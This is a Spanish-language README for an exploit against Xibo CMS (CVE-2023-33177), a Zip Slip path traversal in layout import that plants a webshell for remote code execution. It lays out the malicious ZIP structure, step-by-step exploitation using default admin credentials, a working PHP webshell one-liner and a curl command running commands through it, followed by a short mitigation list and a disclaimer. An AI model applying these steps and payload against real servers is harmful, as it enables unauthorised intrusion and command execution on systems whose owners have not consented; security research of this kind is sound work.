Exploit de Zip Slip RCE en Xibo CMS CVE-2023-33177

Este exploit demuestra una vulnerabilidad de path traversal en Xibo CMS (CVE-2023-33177) que permite la ejecución remota de código mediante importaciones maliciosas de diseños.

Detalles de la vulnerabilidad

CVE/Aviso: CVE-2023-33177 Versiones afectadas:

• Xibo CMS 1.8.0 - 2.3.16
• Xibo CMS 3.0.0 - 3.3.4

Tipo de vulnerabilidad: Path Traversal (Zip Slip) Impacto: Ejecución Remota de Código (RCE)

Resumen técnico

Xibo CMS permite a usuarios autenticados importar archivos de diseño mediante archivos ZIP. La funcionalidad de importación no valida correctamente las rutas de archivo en el archivo mapping.json, lo que permite a un atacante escribir archivos fuera del directorio de la biblioteca previsto utilizando secuencias de path traversal (../../).

Cómo funciona el exploit

1. Crea una estructura de exportación de diseño válida de Xibo con los archivos JSON requeridos
2. Inyecta path traversal en mapping.json: Utiliza ../../web/shell.php como la ruta del archivo
3. Coloca una webshell en la ruta atravesada dentro de la estructura ZIP en library/../../web/shell.php
4. Xibo extrae sin validación: Resuelve a /var/www/cms/web/shell.php
5. Logra RCE: La webshell es accesible en la raíz web

La cadena de la vulnerabilidad

Zip contains: library/../../web/shell.php
Xibo reads:   library/ + ../../web/shell.php (from mapping.json)
Xibo writes:  /var/www/cms/library/temp/ + ../../web/shell.php
Result:       /var/www/cms/web/shell.php ← Webshell in web root!

Uso

Generar el exploit

python3 create_exploit.py

Esto crea exploit.zip que contiene el paquete de diseño malicioso.

Pasos de explotación

1. Accede a Xibo CMS e inicia sesión con las credenciales (por defecto: xibo_admin / password)
2. Navega a Importar: Diseño → Diseños → Importar
3. Sube exploit.zip
4. Ignora cualquier error JSON - la webshell ya se ha escrito en el disco
5. Ejecuta comandos a través de la webshell:
   root@kitploit:~

   curl 'http://localhost:8080/shell.php?cmd=id'
   

Estructura del archivo

El ZIP del exploit contiene:

exploit.zip
├── layout.json          # Valid Xibo layout definition
├── playlist.json        # Empty playlist (triggers JSON import)
├── mapping.json         # Contains path traversal payload
└── library/
    └── ../../web/
        └── shell.php    # PHP webshell (gets extracted to web root)

Funcionalidad de la webshell

La webshell incrustada es mínima:

<?php system($_GET["cmd"]); ?>

Accede a ella mediante: http://<target>/shell.php?cmd=<comando>

Mitigación

Versiones parcheadas:

• Actualiza a Xibo CMS 2.3.17+ (para la rama 2.x)
• Actualiza a Xibo CMS 3.3.5+ (para la rama 3.x)

Estrategias de mitigación:

1. Validar todas las rutas de archivo en archivos ZIP antes de la extracción
2. Rechazar rutas que contengan .. o rutas absolutas
3. Usar métodos de extracción seguros que prevengan el path traversal
4. Implementar una validación de entrada adecuada en la funcionalidad de importación
5. Restringir los permisos de carga de archivos solo a usuarios autenticados y autorizados

Aviso legal y ético

Este exploit se proporciona para:

• Fines educativos
• Competiciones CTF
• Pruebas de seguridad autorizadas
• Investigación de seguridad defensiva

No uses este exploit contra sistemas que no poseas o para los que no tengas permiso explícito de prueba.

Referencias

• Aviso: GHSA-jj27-x85q-crqv
• Xibo CMS: https://xibo.org.uk/
• Vulnerabilidad Zip Slip: https://security.snyk.io/research/zip-slip-vulnerability
• CVE-2023-33177: https://nvd.nist.gov/vuln/detail/CVE-2023-33177

Autor

complexusprada Noviembre 2025